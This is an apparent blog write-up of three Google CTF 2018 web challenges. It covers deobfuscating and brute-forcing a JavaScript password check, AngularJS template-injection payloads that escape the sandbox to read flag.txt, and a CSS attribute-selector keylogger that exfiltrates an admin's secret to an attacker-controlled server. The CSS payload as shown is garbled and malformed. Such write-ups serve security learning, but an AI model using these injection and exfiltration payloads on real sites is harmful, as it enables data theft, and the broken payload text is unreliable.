Google CTF 2018

11 minute read

Web

js safe 2.0

The source code is here

Basically, it is a crypto question. I paste the core code here:

<script>
function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}
</script>
<script>
function open_safe() {
  keyhole.disabled = true;
  password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
  if (!password || !x(password[1])) return document.body.className = 'denied';
  document.body.className = 'granted';
  password = Array.from(password[1]).map(c => c.charCodeAt());
  encrypted = JSON.parse(localStorage.content || '');
  content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')
}
function save() {
  plaintext = Array.from(content.value).map(c => c.charCodeAt());
  localStorage.content = JSON.stringify(plaintext.map((c,i) => c ^ password[i % password.length]));
}
</script>

The web page will execute open_safe() first with keyhole.value. The format should be in CTF{****}. Then, it will pass the value inside { and } to do check.

Let’s beautify the function x first:

function x(х) {
    ord = Function.prototype.call.bind(''.charCodeAt);
    chr = String.fromCharCode;
    str = String;

    function h(s) {
        for (i = 0; i != s.length; i++) {
            a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
            b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
        }
        return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
    }

    function c(a, b, c) {
        for (i = 0; i != a.length; i++) c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length])));
        return c
    }
    for (a = 0; a != 1000; a++) debugger;
    x = h(str(x));
    source = /Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;
    source.toString = function() {
        return c(source, x)
    };
    try {
        console.log('debug', source);
        with(source) return eval('eval(c(source,x))')
    } catch (e) {}
}

First thing you need to notice, and also the most important thing is that the parameter is actually not x(ascii 120), but х(‘х’.charCodeAt()===1093). So, in line x = h(str(x));, it actually stringify the function rather than parameter. To keep our function easy to edit and make x correct, let’s replace that line to:

x=h("function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}")

By the way, I stuck at here for a moment too. But syntax highlight helps me!

For line for (a = 0; a != 1000; a++) debugger;, google just tries to waste our time. We need to remove it and initialize a with a correct value:var a = 1000.

source is a regex rather than string. When source.toString() is triggered, it will run for (i = 0; i != source.length; i++). While regex do not have length, we will get a infinity loop because i always not equal to undefined. Just simply replace source = /Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/; to source = "Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨";.

We need to know the result of c(source,x), let’s add a line to print it in the console: console.log(c(source,x))

The final result looks like:

function x(х) {
    ord = Function.prototype.call.bind(''.charCodeAt);
    chr = String.fromCharCode;
    str = String;

    function h(s) {
        for (i = 0; i != s.length; i++) {
            a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
            b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
        }
        return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
    }

    function c(a, b, c) {
        for (i = 0; i != a.length; i++) c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length])));
        return c
    }
    var a = 1000;
    x=h("function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}");
    source = "Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨";
    source.toString = function() {
        return c(source, x)
    };
    try {
        console.log(c(source, x));
        with(source) return eval('eval(c(source,x))')
    } catch (e) {}
}

Running it, we get х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&¨þJ',h(х))//᧢.

I originally though the whole string is a crypto password…but later I found that I was wrong. This х is the parameter, not ascii x. Google actually wants us to solve the equation. We need to crack string ¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&¨þJ. The above code is like: flag==decrypt('¢×&Ê´cʯ¬$¶³´}ÍÈ´T©Ð8ͳÍ|Ô÷aÈÐÝ&¨þJ',keyOf(flag)). We need a script to crack it (My teammate wrote the script. I am too lazy to do it again and search a script from the internet. The following script is written by @graneed111):

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <script>
            ord = Function.prototype.call.bind(''.charCodeAt);
            chr = String.fromCharCode;
            str = String;
            source = / ¢ × & Ê'cʯ¬ $ ¶³'} ÈÈ © Ð8Í³Í | Ô÷ ÷|Ý & ¨þJ / ;
            function h(s) {
                a = 2714 ; // value of a immediately after h function execution with str (x) as an argument
                b = 33310 ; // value of b immediately after h function execution with str (x) as an argument
                for (i = 0; i != s.length; i++) {
                    a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
                    b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
                }
                return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
            }
            function c(a, b, c) {
                for (i = 0; i != a.length; i++) {
                    tmp_ord = ord(str(a[i])) ^ ord(str(b[i % b.length]));

                    // Check if the flag is in the correct range
                    if ((33  == tmp_ord)|| // !
                        (45  == tmp_ord)|| // -
                        (48  <= tmp_ord && tmp_ord <=  57)|| // 0-9
                        (63  <= tmp_ord && tmp_ord <=  90)|| // ?,@,A-Z
                        (95  == tmp_ord)|| // _
                        (97  <= tmp_ord && tmp_ord <=  122) // a-z
                       ) {
                    } else {
                        return
                    }
                    tmp_chr = chr(tmp_ord);
                    c = (c || '') + tmp_chr;
                }
                return c
            }
            function solve(x) {
                decrypted = c(source.source, x);
                if (typeof decrypted === "undefined") {
                    return
                }
                //console.log("debug", "decrypted=" + decrypted);
                if (x == h(decrypted)){
                    console.log("debug", "decrypted=" + decrypted);
                    console.log("debug", "x=" + x.split("").map(function(e){return ord(e)}).join(","));
                    return decrypted;
                }else{
                    return
                }
            }
            function brute() {
                var start = document.getElementById("start").value;
                var end = document.getElementById("end").value;
                for (var a = start; a < end; a++) {
                    var a_1 = chr(a >> 8);
                    var a_2 = chr(a & 0xFF);
                    if (a % 1000 == 0)
                        console.log("debug", "a=" + a);
                    for (var b = 0; b < 65521; b++) {
                        result = solve(chr(b >> 8) + chr(b & 0xFF) + a_1 + a_2);
                        if (typeof result === "undefined") {
                            continue
                        } else {
                            console.log("[ans]flag=CTF{" + result + "}");
                            return;
                        }
                    }
                }
            }
        </script>
    </head>
    <body>
        <input type="text" id="start" value="0">
        <input type="text" id="end" value="65521">
        <input type="button" onclick="brute()" value="start">
    </body>
</html>

translate

Let’s enter the question, we can see: TRAN1

There is a wonderful debug option, we shall see: TRAN2

Wow, `` reminds us template injection. Let’s have a try. Now, we know that the server will default output input_query. Let’s overwrite it with our template: TRAN3

Here is the result: TRAN4

Now you basically now the work flow. I would not attach picture anymore. And our goal is to fetch flag.txt.

We can break the sandbox and list properties through this:

{{constructor.constructor('return Object.getOwnPropertyNames(global)')()] | json}}

It will return:

[ "Object", "Function", "Array", "Number", "parseFloat", "parseInt", "Infinity", "NaN", "undefined", "Boolean", "String", "Symbol", "Date", "Promise", "RegExp", "Error", "EvalError", "RangeError", "ReferenceError", "SyntaxError", "TypeError", "URIError", "JSON", "Math", "console", "Intl", "ArrayBuffer", "Uint8Array", "Int8Array", "Uint16Array", "Int16Array", "Uint32Array", "Int32Array", "Float32Array", "Float64Array", "Uint8ClampedArray", "DataView", "Map", "Set", "WeakMap", "WeakSet", "Proxy", "Reflect", "decodeURI", "decodeURIComponent", "encodeURI", "encodeURIComponent", "escape", "unescape", "eval", "isFinite", "isNaN", "SharedArrayBuffer", "Atomics", "WebAssembly", "VMError", "Buffer", "setTimeout", "setInterval", "setImmediate", "clearTimeout", "clearInterval", "clearImmediate", "process" ]

After a few testings, I found that these Objects are not helpful to read the flag.txt. Can we use some gadgets from Angular.js? But the problem comes. How can we access angular object?

But wait, when the template is executing, it is inside angular object, which means that this will point to the object. Wow, we can use:

{{[constructor.constructor('return global')().a=this,constructor.constructor('return Object.getOwnPropertyNames(global.a)')()] | json}}

And it returns:

[ "$SCOPE", [ "$$childTail", "$$childHead", "$$nextSibling", "$$watchers", "$$listeners", "$$listenerCount", "$$watchersCount", "$id", "$$ChildScope", "$parent", "$$prevSibling", "$$transcluded" ] ]

Now, let’s find what is in the $parent:

{{[constructor.constructor('return global')().a=this,constructor.constructor('return Object.getOwnPropertyNames(global.a.$parent)')()] | json}}

And the result is:

[ "$SCOPE", [ "$$childTail", "$$childHead", "$$nextSibling", "$$watchers", "$$listeners", "$$listenerCount", "$$watchersCount", "$id", "$$ChildScope", "$parent", "$$prevSibling", "window", "i18n", "userQuery" ] ]  

What’s more, there is a function called template inside i18n. We can use it to read flag now:

{{[constructor.constructor('return global')().a=this,constructor.constructor('return global.a.$parent.i18n.template("flag.txt")')()] | json}}

cat chat

So we enter this: CAT1

Let’s view the source, and we can find something more interesting: CAT2

We can also get partial source of the server/client, click:

Looking at this, we can confirm this is an XSS challenge:

// Check if user is admin based on the 'flag' cookie, and set the 'admin' flag on the request object
app.use(admin.middleware);

What’s more, we can let the admin access arbitrary host with /report option:

case '/report':
  if (!(arg = msg.match(/\/report (.+)/))) break;
  var ip = req.headers['x-forwarded-for'];
  ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
  response = await admin.report(arg[1], ip, "https://${req.headers.host}/room/${room}/");

By the way, /report will only ban users while admin is speaking.(the time after admin: Hi is printed). I stuck at this question because I was confused by this mechanism…

But unfortunately, this site sanitizes all HTML tag. We need to find other payloads: let esc = (str) => str.replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&apos;');

Even we can bypass it, we need to face to Content Security Policy:

default-src self
style-src unsafe-inline self
script-src self https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/
frame-src self https://www.google.com/recaptcha/

However, there is a CSS injection here:

span[data-secret]:hover:after {
  content: " (" attr(data-secret) ")";
}

If we inject inject]{background:url("http://example.com")}, the client will access a domain we controlled. However, JavaScript doesn’t work here because of CSP. We cannot directly bring out document.cookie. We need to create something like CSS key logger to exploit it.

How can we leak the flag? When you move your mouse to ****** after setting new password(by /secret your_password), your password will be shown: CAT3

To successfully exploit it with our key-logger: every time we ask admin to use /secret to show the flag. The password will be changed. Can we triggered it without modifying the flag. Now, let’s introduce another feature of cookie.

When you try to declare Domain=example.com in cookie, the value of Domain must equal to the website’s domain. e.g. Set-Cookie: flag=1234; Domain=evil.com will fail in example.com. As a result, our cookie remains the same even if we request /secret.

Therefore, we can add a URL to make admin request to /secret. When the password echoes in admin’s screen, our key logger will record it and send to our sever.

Now we need to do following step:

  • Change user A’s name to CSS key logger
  • Let A speak something about dog
  • User B report A
  • Admin occurs and its cookie is logged.

The following is our logger:

(name = admin & msg = /secret 1; Path = /; domain = xx.web.ctfcompetition.com);} span [date -secret ^ = a] {background: url (send name=admin&msg=a);} span ^ - c] {background: url (send name = admin & msg = c);} span [data-secret ^ = d] {background: url e] {background: url (send name = admin & msg = e);} span [date-secret ^ = f] {background: url [data-secret ^ = h] {background: url (send? name = admin & msg = url (send-name = admin & msg = i);} span [data-secret ^ = j] {background: url (send? name = admin & msg = k);} {span-secret ^ = m] {background: url (send name = admin & msg = m);} span [data-secret ^ = n] {background: url (send? name = admin & msg = n);} span [date-secret ^ = q] {background: url (send? name = admin & msg = q);} span {background-secret ^ = s] {background: url (send name = admin & msg = s);} span t] {background: url (send? name = admin & msg = t);} span [data-secret ^ = u] {background: url {data-secret ^ = x} {background-url (send; name = admin & msg = : url (send? name = admin & msg = x);} {span-secret ^ = y} {span: url (send; name = admin & msg = y);} span [date-secret ^ = A] {background: url (send? name = admin & msg = A);} span -secret ^ = C] {background: url (send name = admin & msg = C);} span [date-secret ^ = D] {background: url ^ = E] {background: url (send name = admin & msg = E);} span [data-secret ^ = F] {background: url (send? G] {background: url (send name = admin & msg = G);} span [date-secret ^ = H] {background: url {data-secret ^ = K} {background-url} : url (send? name = admin & msg = K);} {span-secret ^ = L] {background: url (send? name = admin & msg = L);} span [data-secret ^ = N] {background: url (send? name = admin & msg = N);} span [date-secret ^ = Q] {background: url (send? name = admin & msg = Q);} span ^ - R] {background: url (send name = admin & msg = R);} span [data-secret ^ = S] {background: url (send? T] {background: url (send name = admin & msg = T);} span [data-secret ^ = U] {background: url {date-secret ^ = X] {background {url: send (name = admin & msg = : url (send? name = admin & msg = X);} {span-secret ^ = Y] {span: url (send? name = admin & msg = Y);} span [data-secret ^ = 0] {background-url (send name = admin & msg = 0);} span [date-secret ^ = 3] {background: url (send? name = admin & msg = 3);} span [date-secret ^ = 4] {background: url (send name = admin & msg = 4);} span [data-secret ^ = 5] {background-url ^ 6] {background: url (send name = admin & msg = 6);} span [date-secret ^ = 7] {background-url ^ {data-secret ^ = 9} {background-url = : url (send? name = admin & msg = _);{background-secret ^ = \ {] {background: url (send name = admin & msg = \ { ;} span [date-name = = xx

We can leak the first byte is C. To leak the next byte, just replace ^ with ^C. If the first four byte is CTF{, the method of leaking the fifth byte is replace ^CTF{ to ^C. We need to repeat this process until } is read.

Leave a comment